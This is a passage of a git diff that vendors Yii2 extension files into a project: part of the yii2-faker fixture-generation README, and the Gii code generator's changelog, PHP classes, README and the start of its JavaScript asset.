+/** + * @var $faker \Faker\Generator + * @var $index integer + */ +return [ + 'name' => $faker->firstName, + 'phone' => $faker->phoneNumber, + 'city' => $faker->city, + 'password' => Yii::$app->getSecurity()->generatePasswordHash('password_' . $index), + 'auth_key' => Yii::$app->getSecurity()->generateRandomString(), + 'intro' => $faker->sentence(7, true), // generate a sentence with 7 words +]; +``` + +As you can see, the template file is just a regular PHP script. The script should return an array of key-value +pairs, where the keys represent the table column names and the values the corresponding value. When you run +the `fixture/generate` command, the script will be executed once for every data row being generated. +In this script, you can use the following two predefined variables: + +* `$faker`: the Faker generator instance +* `$index`: the current fixture index. For example if user need to generate 3 fixtures for user table, it will be 0..2. + +With such a template file, you can generate your fixtures using the commands like the following: + +``` +# generate fixtures from user fixture template +php yii fixture/generate user + +# to generate several fixture data files +php yii fixture/generate user profile team +``` + +In the code above `users` is template name. After running this command, a new file with the same template name +will be created under the fixture path in the `@tests/unit/fixtures`) folder. + +``` +php yii fixture/generate-all +``` + +This command will generate fixtures for all template files that are stored under template path and +store fixtures under fixtures path with file names same as templates names. +You can specify how many fixtures per file you need by the `--count` option. In the code below we generate +all fixtures and in each file there will be 3 rows (fixtures). + +``` +php yii fixture/generate-all --count=3 +``` +You can specify different options of this command: + +``` +# generate fixtures in russian language +php yii fixture/generate User --count=5 --language='ru_RU' + +# read templates from the other path +php yii fixture/generate-all --templatePath='@app/path/to/my/custom/templates' + +# generate fixtures into other directory. +php yii fixture/generate-all --fixtureDataPath='@tests/acceptance/fixtures/data' +``` + +You can see all available templates by running command: + +``` +# list all templates under default template path (i.e. '@tests/unit/templates/fixtures') +php yii fixture/templates + +# list all templates under specified template path +php yii fixture/templates --templatePath='@app/path/to/my/custom/templates' +``` + +You also can create your own data providers for custom tables fields, see [Faker](https://github.com/fzaninotto/Faker) library guide for more info; +After you created custom provider, for example: + +```php +class Book extends \Faker\Provider\Base +{ + + public function title($nbWords = 5) + { + $sentence = $this->generator->sentence($nbWords); + return mb_substr($sentence, 0, mb_strlen($sentence) - 1); + } + + } +``` + +You can use it by adding it to the `$providers` property of the current command. In your console.php config: + +```php +'controllerMap' => [ + 'fixture' => [ + 'class' => 'yii\faker\FixtureController', + 'providers' => [ + 'app\tests\unit\faker\providers\Book', + ], + ], +] +``` diff --git a/php/yii2/basic/vendor/yiisoft/yii2-faker/composer.json b/php/yii2/basic/vendor/yiisoft/yii2-faker/composer.json new file mode 100644 index 00000000..589cb1b2 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-faker/composer.json @@ -0,0 +1,31 @@ +{ + "name": "yiisoft/yii2-faker", + "description": "Fixture generator. The Faker integration for the Yii framework.", + "keywords": ["yii2", "faker", "fixture"], + "type": "yii2-extension", + "license": "BSD-3-Clause", + "support": { + "forum": "http://www.yiiframework.com/forum/", + "wiki": "http://www.yiiframework.com/wiki/", + "irc": "irc://irc.freenode.net/yii", + "source": "https://github.com/yiisoft/yii2" + }, + "authors": [ + { + "name": "Mark Jebri", + "email": "mark.github@yandex.ru" + } + ], + "require": { + "yiisoft/yii2": "*", + "fzaninotto/faker": "*" + }, + "autoload": { + "psr-4": { "yii\\faker\\": "" } + }, + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/CHANGELOG.md b/php/yii2/basic/vendor/yiisoft/yii2-gii/CHANGELOG.md new file mode 100644 index 00000000..9ebd28af --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/CHANGELOG.md @@ -0,0 +1,48 @@ +Yii Framework 2 gii extension Change Log +======================================== + +2.0.0 October 12, 2014 +---------------------- + +- Bug #5408: Gii console command incorrectly reports errors when there is actually no error (qiangxue) +- Bug: Fixed table name regression caused by changed introduced in #4971 (samdark) + + +2.0.0-rc September 27, 2014 +--------------------------- + +- Bug #1263: Fixed the issue that Gii and Debug modules might be affected by incompatible asset manager configuration (qiangxue) +- Bug #2314: Gii model generator does not generate correct relation type in some special case (qiangxue) +- Bug #3265: Fixed incorrect controller class name validation (suralc) +- Bug #3693: Fixed broken Gii preview when a file is unchanged (cebe) +- Bug #4410: Fixed Gii to preserve database column order in generated _form.php (kmindi) +- Bug #4971: Fixed hardcoded table names in `viaTable` expression in model generator (stepanselyuk) +- Enh #2018: Search model is not required anymore in CRUD generator (johonunu) +- Enh #3088: The gii module will manage their own URL rules now (qiangxue) +- Enh #3222: Added `useTablePrefix` option to the model generator for Gii (horizons2) +- Enh #3811: Now Gii model generator makes autocomplete for model class field (mitalcoi) +- New #1280: Gii can now be run from command line (schmunk42, cebe, qiangxue) + + +2.0.0-beta April 13, 2014 +------------------------- + +- Bug #1405: fixed disambiguation of relation names generated by gii (qiangxue) +- Bug #1904: Fixed autocomplete to work with underscore inputs "_" (tonydspaniard) +- Bug #2298: Fixed the bug that Gii controller generator did not allow digit in the controller ID (qiangxue) +- Bug #2712: Fixed missing id in code file preview url (klevron) +- Bug: fixed controller in crud template to avoid returning query in findModel() (cebe) +- Enh #1624: generate rules for unique indexes (lucianobaraglia) +- Enh #1818: Do not display checkbox column if all rows are empty (johonunu) +- Enh #1897: diff markup is now copy paste friendly (samdark) +- Enh #2327: better visual representation of changed files, added header and refresh button to diff modal (thiagotalma) +- Enh #2491: Added support for using the same base class name of search model and data model in Gii (qiangxue) +- Enh #2595: Browse through all generated files using right and left arrows (thiagotalma) +- Enh #2633: Keyboard shortcuts to browse through files (thiagotalma) +- Enh #2822: possibility to generate I18N messages (lucianobaraglia) +- Enh #2843: Option to filter files according to the action. (thiagotalma) + +2.0.0-alpha, December 1, 2013 +----------------------------- + +- Initial release. diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/CodeFile.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/CodeFile.php new file mode 100644 index 00000000..aa7ebb7c --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/CodeFile.php @@ -0,0 +1,194 @@ + + * @since 2.0 + */ +class CodeFile extends Object +{ + /** + * The code file is new. + */ + const OP_CREATE = 'create'; + /** + * The code file already exists, and the new one may need to overwrite it. + */ + const OP_OVERWRITE = 'overwrite'; + /** + * The new code file and the existing one are identical. + */ + const OP_SKIP = 'skip'; + + /** + * @var string an ID that uniquely identifies this code file. + */ + public $id; + /** + * @var string the file path that the new code should be saved to. + */ + public $path; + /** + * @var string the newly generated code content + */ + public $content; + /** + * @var string the operation to be performed. This can be [[OP_CREATE]], [[OP_OVERWRITE]] or [[OP_SKIP]]. + */ + public $operation; + + + /** + * Constructor. + * @param string $path the file path that the new code should be saved to. + * @param string $content the newly generated code content. + */ + public function __construct($path, $content) + { + $this->path = strtr($path, '/\\', DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR); + $this->content = $content; + $this->id = md5($this->path); + if (is_file($path)) { + $this->operation = file_get_contents($path) === $content ? self::OP_SKIP : self::OP_OVERWRITE; + } else { + $this->operation = self::OP_CREATE; + } + } + + /** + * Saves the code into the file specified by [[path]]. + * @return string|boolean the error occurred while saving the code file, or true if no error. + */ + public function save() + { + $module = Yii::$app->controller->module; + if ($this->operation === self::OP_CREATE) { + $dir = dirname($this->path); + if (!is_dir($dir)) { + $mask = @umask(0); + $result = @mkdir($dir, $module->newDirMode, true); + @umask($mask); + if (!$result) { + return "Unable to create the directory '$dir'."; + } + } + } + if (@file_put_contents($this->path, $this->content) === false) { + return "Unable to write the file '{$this->path}'."; + } else { + $mask = @umask(0); + @chmod($this->path, $module->newFileMode); + @umask($mask); + } + + return true; + } + + /** + * @return string the code file path relative to the application base path. + */ + public function getRelativePath() + { + if (strpos($this->path, Yii::$app->basePath) === 0) { + return substr($this->path, strlen(Yii::$app->basePath) + 1); + } else { + return $this->path; + } + } + + /** + * @return string the code file extension (e.g. php, txt) + */ + public function getType() + { + if (($pos = strrpos($this->path, '.')) !== false) { + return substr($this->path, $pos + 1); + } else { + return 'unknown'; + } + } + + /** + * Returns preview or false if it cannot be rendered + * + * @return boolean|string + */ + public function preview() + { + if (($pos = strrpos($this->path, '.')) !== false) { + $type = substr($this->path, $pos + 1); + } else { + $type = 'unknown'; + } + + if ($type === 'php') { + return highlight_string($this->content, true); + } elseif (!in_array($type, ['jpg', 'gif', 'png', 'exe'])) { + return nl2br(Html::encode($this->content)); + } else { + return false; + } + } + + /** + * Returns diff or false if it cannot be calculated + * + * @return boolean|string + */ + public function diff() + { + $type = strtolower($this->getType()); + if (in_array($type, ['jpg', 'gif', 'png', 'exe'])) { + return false; + } elseif ($this->operation === self::OP_OVERWRITE) { + return $this->renderDiff(file($this->path), $this->content); + } else { + return ''; + } + } + + /** + * Renders diff between two sets of lines + * + * @param mixed $lines1 + * @param mixed $lines2 + * @return string + */ + private function renderDiff($lines1, $lines2) + { + if (!is_array($lines1)) { + $lines1 = explode("\n", $lines1); + } + if (!is_array($lines2)) { + $lines2 = explode("\n", $lines2); + } + foreach ($lines1 as $i => $line) { + $lines1[$i] = rtrim($line, "\r\n"); + } + foreach ($lines2 as $i => $line) { + $lines2[$i] = rtrim($line, "\r\n"); + } + + $renderer = new DiffRendererHtmlInline(); + $diff = new \Diff($lines1, $lines2); + + return $diff->render($renderer); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/Generator.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/Generator.php new file mode 100644 index 00000000..27ae8f2b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/Generator.php @@ -0,0 +1,521 @@ + + * @since 2.0 + */ +abstract class Generator extends Model +{ + /** + * @var array a list of available code templates. The array keys are the template names, + * and the array values are the corresponding template paths or path aliases. + */ + public $templates = []; + /** + * @var string the name of the code template that the user has selected. + * The value of this property is internally managed by this class. + */ + public $template = 'default'; + /** + * @var boolean whether the strings will be generated using `Yii::t()` or normal strings. + */ + public $enableI18N = false; + /** + * @var string the message category used by `Yii::t()` when `$enableI18N` is `true`. + * Defaults to `app`. + */ + public $messageCategory = 'app'; + + + /** + * @return string name of the code generator + */ + abstract public function getName(); + /** + * Generates the code based on the current user input and the specified code template files. + * This is the main method that child classes should implement. + * Please refer to [[\yii\gii\generators\controller\Generator::generate()]] as an example + * on how to implement this method. + * @return CodeFile[] a list of code files to be created. + */ + abstract public function generate(); + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + if (!isset($this->templates['default'])) { + $this->templates['default'] = $this->defaultTemplate(); + } + foreach ($this->templates as $i => $template) { + $this->templates[$i] = Yii::getAlias($template); + } + } + + /** + * @inheritdoc + */ + public function attributeLabels() + { + return [ + 'enableI18N' => 'Enable I18N', + 'messageCategory' => 'Message Category', + ]; + } + + /** + * Returns a list of code template files that are required. + * Derived classes usually should override this method if they require the existence of + * certain template files. + * @return array list of code template files that are required. They should be file paths + * relative to [[templatePath]]. + */ + public function requiredTemplates() + { + return []; + } + + /** + * Returns the list of sticky attributes. + * A sticky attribute will remember its value and will initialize the attribute with this value + * when the generator is restarted. + * @return array list of sticky attributes + */ + public function stickyAttributes() + { + return ['template', 'enableI18N', 'messageCategory']; + } + + /** + * Returns the list of hint messages. + * The array keys are the attribute names, and the array values are the corresponding hint messages. + * Hint messages will be displayed to end users when they are filling the form for the generator. + * @return array the list of hint messages + */ + public function hints() + { + return [ + 'enableI18N' => 'This indicates whether the generator should generate strings using Yii::t() method. + Set this to true if you are planning to make your application translatable.', + 'messageCategory' => 'This is the category used by Yii::t() in case you enable I18N.', + ]; + } + + /** + * Returns the list of auto complete values. + * The array keys are the attribute names, and the array values are the corresponding auto complete values. + * Auto complete values can also be callable typed in order one want to make postponed data generation. + * @return array the list of auto complete values + */ + public function autoCompleteData() + { + return []; + } + + /** + * Returns the message to be displayed when the newly generated code is saved successfully. + * Child classes may override this method to customize the message. + * @return string the message to be displayed when the newly generated code is saved successfully. + */ + public function successMessage() + { + return 'The code has been generated successfully.'; + } + + /** + * Returns the view file for the input form of the generator. + * The default implementation will return the "form.php" file under the directory + * that contains the generator class file. + * @return string the view file for the input form of the generator. + */ + public function formView() + { + $class = new ReflectionClass($this); + + return dirname($class->getFileName()) . '/form.php'; + } + + /** + * Returns the root path to the default code template files. + * The default implementation will return the "templates" subdirectory of the + * directory containing the generator class file. + * @return string the root path to the default code template files. + */ + public function defaultTemplate() + { + $class = new ReflectionClass($this); + + return dirname($class->getFileName()) . '/default'; + } + + /** + * @return string the detailed description of the generator. + */ + public function getDescription() + { + return ''; + } + + /** + * @inheritdoc + * + * Child classes should override this method like the following so that the parent + * rules are included: + * + * ~~~ + * return array_merge(parent::rules(), [ + * ...rules for the child class... + * ]); + * ~~~ + */ + public function rules() + { + return [ + [['template'], 'required', 'message' => 'A code template must be selected.'], + [['template'], 'validateTemplate'], + ]; + } + + /** + * Loads sticky attributes from an internal file and populates them into the generator. + * @internal + */ + public function loadStickyAttributes() + { + $stickyAttributes = $this->stickyAttributes(); + $path = $this->getStickyDataFile(); + if (is_file($path)) { + $result = json_decode(file_get_contents($path), true); + if (is_array($result)) { + foreach ($stickyAttributes as $name) { + if (isset($result[$name])) { + $this->$name = $result[$name]; + } + } + } + } + } + + /** + * Saves sticky attributes into an internal file. + * @internal + */ + public function saveStickyAttributes() + { + $stickyAttributes = $this->stickyAttributes(); + $stickyAttributes[] = 'template'; + $values = []; + foreach ($stickyAttributes as $name) { + $values[$name] = $this->$name; + } + $path = $this->getStickyDataFile(); + @mkdir(dirname($path), 0755, true); + file_put_contents($path, json_encode($values)); + } + + /** + * @return string the file path that stores the sticky attribute values. + * @internal + */ + public function getStickyDataFile() + { + return Yii::$app->getRuntimePath() . '/gii-' . Yii::getVersion() . '/' . str_replace('\\', '-', get_class($this)) . '.json'; + } + + /** + * Saves the generated code into files. + * @param CodeFile[] $files the code files to be saved + * @param array $answers + * @param string $results this parameter receives a value from this method indicating the log messages + * generated while saving the code files. + * @return boolean whether files are successfully saved without any error. + */ + public function save($files, $answers, &$results) + { + $lines = ['Generating code using template "' . $this->getTemplatePath() . '"...']; + $hasError = false; + foreach ($files as $file) { + $relativePath = $file->getRelativePath(); + if (isset($answers[$file->id]) && $file->operation !== CodeFile::OP_SKIP) { + $error = $file->save(); + if (is_string($error)) { + $hasError = true; + $lines[] = "generating $relativePath\n$error"; + } else { + $lines[] = $file->operation === CodeFile::OP_CREATE ? " generated $relativePath" : " overwrote $relativePath"; + } + } else { + $lines[] = " skipped $relativePath"; + } + } + $lines[] = "done!\n"; + $results = implode("\n", $lines); + + return !$hasError; + } + + /** + * @return string the root path of the template files that are currently being used. + * @throws InvalidConfigException if [[template]] is invalid + */ + public function getTemplatePath() + { + if (isset($this->templates[$this->template])) { + return $this->templates[$this->template]; + } else { + throw new InvalidConfigException("Unknown template: {$this->template}"); + } + } + + /** + * Generates code using the specified code template and parameters. + * Note that the code template will be used as a PHP file. + * @param string $template the code template file. This must be specified as a file path + * relative to [[templatePath]]. + * @param array $params list of parameters to be passed to the template file. + * @return string the generated code + */ + public function render($template, $params = []) + { + $view = new View(); + $params['generator'] = $this; + + return $view->renderFile($this->getTemplatePath() . '/' . $template, $params, $this); + } + + /** + * Validates the template selection. + * This method validates whether the user selects an existing template + * and the template contains all required template files as specified in [[requiredTemplates()]]. + */ + public function validateTemplate() + { + $templates = $this->templates; + if (!isset($templates[$this->template])) { + $this->addError('template', 'Invalid template selection.'); + } else { + $templatePath = $this->templates[$this->template]; + foreach ($this->requiredTemplates() as $template) { + if (!is_file($templatePath . '/' . $template)) { + $this->addError('template', "Unable to find the required code template file '$template'."); + } + } + } + } + + /** + * An inline validator that checks if the attribute value refers to an existing class name. + * If the `extends` option is specified, it will also check if the class is a child class + * of the class represented by the `extends` option. + * @param string $attribute the attribute being validated + * @param array $params the validation options + */ + public function validateClass($attribute, $params) + { + $class = $this->$attribute; + try { + if (class_exists($class)) { + if (isset($params['extends'])) { + if (ltrim($class, '\\') !== ltrim($params['extends'], '\\') && !is_subclass_of($class, $params['extends'])) { + $this->addError($attribute, "'$class' must extend from {$params['extends']} or its child class."); + } + } + } else { + $this->addError($attribute, "Class '$class' does not exist or has syntax error."); + } + } catch (\Exception $e) { + $this->addError($attribute, "Class '$class' does not exist or has syntax error."); + } + } + + /** + * An inline validator that checks if the attribute value refers to a valid namespaced class name. + * The validator will check if the directory containing the new class file exist or not. + * @param string $attribute the attribute being validated + * @param array $params the validation options + */ + public function validateNewClass($attribute, $params) + { + $class = ltrim($this->$attribute, '\\'); + if (($pos = strrpos($class, '\\')) === false) { + $this->addError($attribute, "The class name must contain fully qualified namespace name."); + } else { + $ns = substr($class, 0, $pos); + $path = Yii::getAlias('@' . str_replace('\\', '/', $ns), false); + if ($path === false) { + $this->addError($attribute, "The class namespace is invalid: $ns"); + } elseif (!is_dir($path)) { + $this->addError($attribute, "Please make sure the directory containing this class exists: $path"); + } + } + } + + /** + * Checks if message category is not empty when I18N is enabled. + */ + public function validateMessageCategory() + { + if ($this->enableI18N && empty($this->messageCategory)) { + $this->addError('messageCategory', "Message Category cannot be blank."); + } + } + + /** + * @param string $value the attribute to be validated + * @return boolean whether the value is a reserved PHP keyword. + */ + public function isReservedKeyword($value) + { + static $keywords = [ + '__class__', + '__dir__', + '__file__', + '__function__', + '__line__', + '__method__', + '__namespace__', + '__trait__', + 'abstract', + 'and', + 'array', + 'as', + 'break', + 'case', + 'catch', + 'callable', + 'cfunction', + 'class', + 'clone', + 'const', + 'continue', + 'declare', + 'default', + 'die', + 'do', + 'echo', + 'else', + 'elseif', + 'empty', + 'enddeclare', + 'endfor', + 'endforeach', + 'endif', + 'endswitch', + 'endwhile', + 'eval', + 'exception', + 'exit', + 'extends', + 'final', + 'finally', + 'for', + 'foreach', + 'function', + 'global', + 'goto', + 'if', + 'implements', + 'include', + 'include_once', + 'instanceof', + 'insteadof', + 'interface', + 'isset', + 'list', + 'namespace', + 'new', + 'old_function', + 'or', + 'parent', + 'php_user_filter', + 'print', + 'private', + 'protected', + 'public', + 'require', + 'require_once', + 'return', + 'static', + 'switch', + 'this', + 'throw', + 'trait', + 'try', + 'unset', + 'use', + 'var', + 'while', + 'xor', + ]; + + return in_array(strtolower($value), $keywords, true); + } + + /** + * Generates a string depending on enableI18N property + * + * @param string $string the text be generated + * @param array $placeholders the placeholders to use by `Yii::t()` + * @return string + */ + public function generateString($string = '', $placeholders = []) + { + $string = addslashes($string); + if ($this->enableI18N) { + // If there are placeholders, use them + if (!empty($placeholders)) { + $ph = ', ' . VarDumper::export($placeholders); + } else { + $ph = ''; + } + $str = "Yii::t('" . $this->messageCategory . "', '" . $string . "'" . $ph . ")"; + } else { + // No I18N, replace placeholders by real words, if any + if (!empty($placeholders)) { + $phKeys = array_map(function($word) { + return '{' . $word . '}'; + }, array_keys($placeholders)); + $phValues = array_values($placeholders); + $str = "'" . str_replace($phKeys, $phValues, $string) . "'"; + } else { + // No placeholders, just the given string + $str = "'" . $string . "'"; + } + } + return $str; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/GiiAsset.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/GiiAsset.php new file mode 100644 index 00000000..0e59d08f --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/GiiAsset.php @@ -0,0 +1,33 @@ + + * @since 2.0 + */ +class GiiAsset extends AssetBundle +{ + public $sourcePath = '@yii/gii/assets'; + public $css = [ + 'main.css', + ]; + public $js = [ + 'gii.js', + ]; + public $depends = [ + 'yii\web\YiiAsset', + 'yii\bootstrap\BootstrapAsset', + 'yii\bootstrap\BootstrapPluginAsset', + 'yii\gii\TypeAheadAsset', + ]; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/Module.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/Module.php new file mode 100644 index 00000000..116ba64b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/Module.php @@ -0,0 +1,165 @@ + ['gii'], + * 'modules' => [ + * 'gii' => ['class' => 'yii\gii\Module'], + * ], + * ] + * ~~~ + * + * Because Gii generates new code files on the server, you should only use it on your own + * development machine. To prevent other people from using this module, by default, Gii + * can only be accessed by localhost. You may configure its [[allowedIPs]] property if + * you want to make it accessible on other machines. + * + * With the above configuration, you will be able to access GiiModule in your browser using + * the URL `http://localhost/path/to/index.php?r=gii` + * + * If your application enables [[\yii\web\UrlManager::enablePrettyUrl|pretty URLs]], + * you can then access Gii via URL: `http://localhost/path/to/index.php/gii` + * + * @author Qiang Xue + * @since 2.0 + */ +class Module extends \yii\base\Module implements BootstrapInterface +{ + /** + * @inheritdoc + */ + public $controllerNamespace = 'yii\gii\controllers'; + /** + * @var array the list of IPs that are allowed to access this module. + * Each array element represents a single IP filter which can be either an IP address + * or an address with wildcard (e.g. 192.168.0.*) to represent a network segment. + * The default value is `['127.0.0.1', '::1']`, which means the module can only be accessed + * by localhost. + */ + public $allowedIPs = ['127.0.0.1', '::1']; + /** + * @var array|Generator[] a list of generator configurations or instances. The array keys + * are the generator IDs (e.g. "crud"), and the array elements are the corresponding generator + * configurations or the instances. + * + * After the module is initialized, this property will become an array of generator instances + * which are created based on the configurations previously taken by this property. + * + * Newly assigned generators will be merged with the [[coreGenerators()|core ones]], and the former + * takes precedence in case when they have the same generator ID. + */ + public $generators = []; + /** + * @var integer the permission to be set for newly generated code files. + * This value will be used by PHP chmod function. + * Defaults to 0666, meaning the file is read-writable by all users. + */ + public $newFileMode = 0666; + /** + * @var integer the permission to be set for newly generated directories. + * This value will be used by PHP chmod function. + * Defaults to 0777, meaning the directory can be read, written and executed by all users. + */ + public $newDirMode = 0777; + + + /** + * @inheritdoc + */ + public function bootstrap($app) + { + if ($app instanceof \yii\web\Application) { + $app->getUrlManager()->addRules([ + $this->id => $this->id . '/default/index', + $this->id . '/' => $this->id . '/default/view', + $this->id . '//' => $this->id . '//', + ], false); + } elseif ($app instanceof \yii\console\Application) { + $app->controllerMap[$this->id] = [ + 'class' => 'yii\gii\console\GenerateController', + 'generators' => array_merge($this->coreGenerators(), $this->generators), + 'module' => $this, + ]; + } + } + + /** + * @inheritdoc + */ + public function beforeAction($action) + { + if (!parent::beforeAction($action)) { + return false; + } + + if (Yii::$app instanceof \yii\web\Application && !$this->checkAccess()) { + throw new ForbiddenHttpException('You are not allowed to access this page.'); + } + + foreach (array_merge($this->coreGenerators(), $this->generators) as $id => $config) { + $this->generators[$id] = Yii::createObject($config); + } + + $this->resetGlobalSettings(); + + return true; + } + + /** + * Resets potentially incompatible global settings done in app config. + */ + protected function resetGlobalSettings() + { + if (Yii::$app instanceof \yii\web\Application) { + Yii::$app->assetManager->bundles = []; + } + } + + /** + * @return boolean whether the module can be accessed by the current user + */ + protected function checkAccess() + { + $ip = Yii::$app->getRequest()->getUserIP(); + foreach ($this->allowedIPs as $filter) { + if ($filter === '*' || $filter === $ip || (($pos = strpos($filter, '*')) !== false && !strncmp($ip, $filter, $pos))) { + return true; + } + } + Yii::warning('Access to Gii is denied due to IP address restriction. The requested IP is ' . $ip, __METHOD__); + + return false; + } + + /** + * Returns the list of the core code generator configurations. + * @return array the list of the core code generator configurations. + */ + protected function coreGenerators() + { + return [ + 'model' => ['class' => 'yii\gii\generators\model\Generator'], + 'crud' => ['class' => 'yii\gii\generators\crud\Generator'], + 'controller' => ['class' => 'yii\gii\generators\controller\Generator'], + 'form' => ['class' => 'yii\gii\generators\form\Generator'], + 'module' => ['class' => 'yii\gii\generators\module\Generator'], + 'extension' => ['class' => 'yii\gii\generators\extension\Generator'], + ]; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/README.md b/php/yii2/basic/vendor/yiisoft/yii2-gii/README.md new file mode 100644 index 00000000..98cc09c4 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/README.md @@ -0,0 +1,71 @@ +Gii Extension for Yii 2 +======================== + +This extension provides a Web-based code generator, called Gii, for Yii 2 applications. +You can use Gii to quickly generate models, forms, modules, CRUD, etc. + + +Installation +------------ + +The preferred way to install this extension is through [composer](http://getcomposer.org/download/). + +Either run + +``` +php composer.phar require --prefer-dist yiisoft/yii2-gii "*" +``` + +or add + +``` +"yiisoft/yii2-gii": "*" +``` + +to the require section of your `composer.json` file. + + +Usage +----- + +Once the extension is installed, simply modify your application configuration as follows: + +```php +return [ + 'bootstrap' => ['gii'], + 'modules' => [ + 'gii' => 'yii\gii\Module', + // ... + ], + // ... +]; +``` + +You can then access Gii through the following URL: + +``` +http://localhost/path/to/index.php?r=gii +``` + +or if you have enabled pretty URLs, you may use the following URL: + +``` +http://localhost/path/to/index.php/gii +``` + +Using the same configuration for your console application, you will also be able to access Gii via +command line as follows, + +``` +# change path to your application's base path +cd path/to/AppBasePath + +# show help information about Gii +yii help gii + +# show help information about the model generator in Gii +yii help gii/model + +# generate City model from city table +yii gii/model --tableName=city --modelClass=City +``` diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/TypeAheadAsset.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/TypeAheadAsset.php new file mode 100644 index 00000000..49fd7375 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/TypeAheadAsset.php @@ -0,0 +1,27 @@ + + * @since 2.0 + */ +class TypeAheadAsset extends AssetBundle +{ + public $sourcePath = '@bower/typeahead.js/dist'; + public $js = [ + 'typeahead.bundle.js', + ]; + public $depends = [ + 'yii\bootstrap\BootstrapAsset', + 'yii\bootstrap\BootstrapPluginAsset', + ]; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/assets/gii.js b/php/yii2/basic/vendor/yiisoft/yii2-gii/assets/gii.js new file mode 100644 index 00000000..bc685860 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/assets/gii.js @@ -0,0 +1,187 @@ +yii.gii = (function ($) { + var isActive = $('.default-view').length > 0; + + var initHintBlocks = function () { + $('.hint-block').each(function () { + var $hint = $(this); + $hint.parent().find('label').addClass('help').popover({ + html: true, + trigger: 'hover', + placement: 'right', + content: $hint.html() + }); + }); + }; + + var initStickyInputs = function () { + $('.sticky:not(.error)').find('input[type="text"],select,textarea').each(function () { + var value; + if (this.tagName === 'SELECT') { + value = this.options[this.selectedIndex].text; + } else if (this.tagName === 'TEXTAREA') { + value = $(this).html(); + } else { + value = $(this).val(); + } + if (value === '') { + value = '[empty]'; + } + $(this).before('
            ' + value + '
            ').hide(); + }); + $('.sticky-value').on('click', function () { + $(this).hide(); + $(this).next().show().get(0).focus(); + }); + }; + + var initPreviewDiffLinks = function () { + $('.preview-code, .diff-code, .modal-refresh, .modal-previous, .modal-next').on('click', function () { + var $modal = $('#preview-modal'); + var $link = $(this); + $modal.find('.modal-refresh').attr('href', $link.attr('href')); + if ($link.hasClass('preview-code') || $link.hasClass('diff-code')) { + $modal.data('action', ($link.hasClass('preview-code') ? 'preview-code' : 'diff-code')) + } + $modal.find('.modal-title').text($link.data('title')); + $modal.find('.modal-body').html('Loading ...'); + $modal.modal('show'); + var checkbox = $('a.' + $modal.data('action') + '[href="' + $link.attr('href') + '"]').closest('tr').find('input').get(0); + var checked = false; + if (checkbox) { + checked = checkbox.checked; + $modal.find('.modal-checkbox').removeClass('disabled'); + } else { + $modal.find('.modal-checkbox').addClass('disabled'); + } + $modal.find('.modal-checkbox span').toggleClass('glyphicon-check', checked).toggleClass('glyphicon-unchecked', !checked); + $.ajax({ + type: 'POST', + cache: false, + url: $link.prop('href'), + data: $('.default-view form').serializeArray(), + success: function (data) { + if (!$link.hasClass('modal-refresh')) { + var filesSelector = 'a.' + $modal.data('action'); + var $files = $(filesSelector); + var index = $files.filter('[href="' + $link.attr('href') + '"]').index(filesSelector); + var $prev = $files.eq(index - 1); + var $next = $files.eq((index + 1 == $files.length ? 0 : index + 1)); + $modal.data('current', $files.eq(index)); + $modal.find('.modal-previous').attr('href', $prev.attr('href')).data('title', $prev.data('title')); + $modal.find('.modal-next').attr('href', $next.attr('href')).data('title', $next.data('title')); + } + $modal.find('.modal-body').html(data); + $modal.find('.content').css('max-height', ($(window).height() - 200) + 'px'); + }, + error: function (XMLHttpRequest, textStatus, errorThrown) { + $modal.find('.modal-body').html('
            ' + XMLHttpRequest.responseText + '
            '); + } + }); + return false; + }); + + $('#preview-modal').on('keydown', function (e) { + if (e.keyCode === 37) { + $('.modal-previous').trigger('click'); + } else if (e.keyCode === 39) { + $('.modal-next').trigger('click'); + } else if (e.keyCode === 82) { + $('.modal-refresh').trigger('click'); + } else if (e.keyCode === 32) { + $('.modal-checkbox').trigger('click'); + } + }); + + $('.modal-checkbox').on('click', checkFileToggle); + }; + + var checkFileToggle = function () { + var $modal = $('#preview-modal'); + var $checkbox = $modal.data('current').closest('tr').find('input'); + var checked = !$checkbox.prop('checked'); + $checkbox.prop('checked', checked); + $modal.find('.modal-checkbox span').toggleClass('glyphicon-check', checked).toggleClass('glyphicon-unchecked', !checked); + return false; + }; + + var checkAllToggle = function () { + $('#check-all').prop('checked', !$('.default-view-files table .check input:enabled:not(:checked)').length); + }; + + var initConfirmationCheckboxes = function () { + var $checkAll = $('#check-all'); + $checkAll.click(function () { + $('.default-view-files table .check input:enabled').prop('checked', this.checked); + }); + $('.default-view-files table .check input').click(function () { + checkAllToggle(); + }); + checkAllToggle(); + }; + + var initToggleActions = function () { + $('#action-toggle :input').change(function () { + $(this).parent('label').toggleClass('active', this.checked); + $('.' + this.value, '.default-view-files table').toggle(this.checked).find('.check input').attr('disabled', !this.checked); + checkAllToggle(); + }); + }; + + return { + autocomplete: function (counter, data) { + var datum = new Bloodhound({ + datumTokenizer: function (d) { + return Bloodhound.tokenizers.whitespace(d.word); + }, + queryTokenizer: Bloodhound.tokenizers.whitespace, + local: data + }); + datum.initialize(); + jQuery('.typeahead-' + 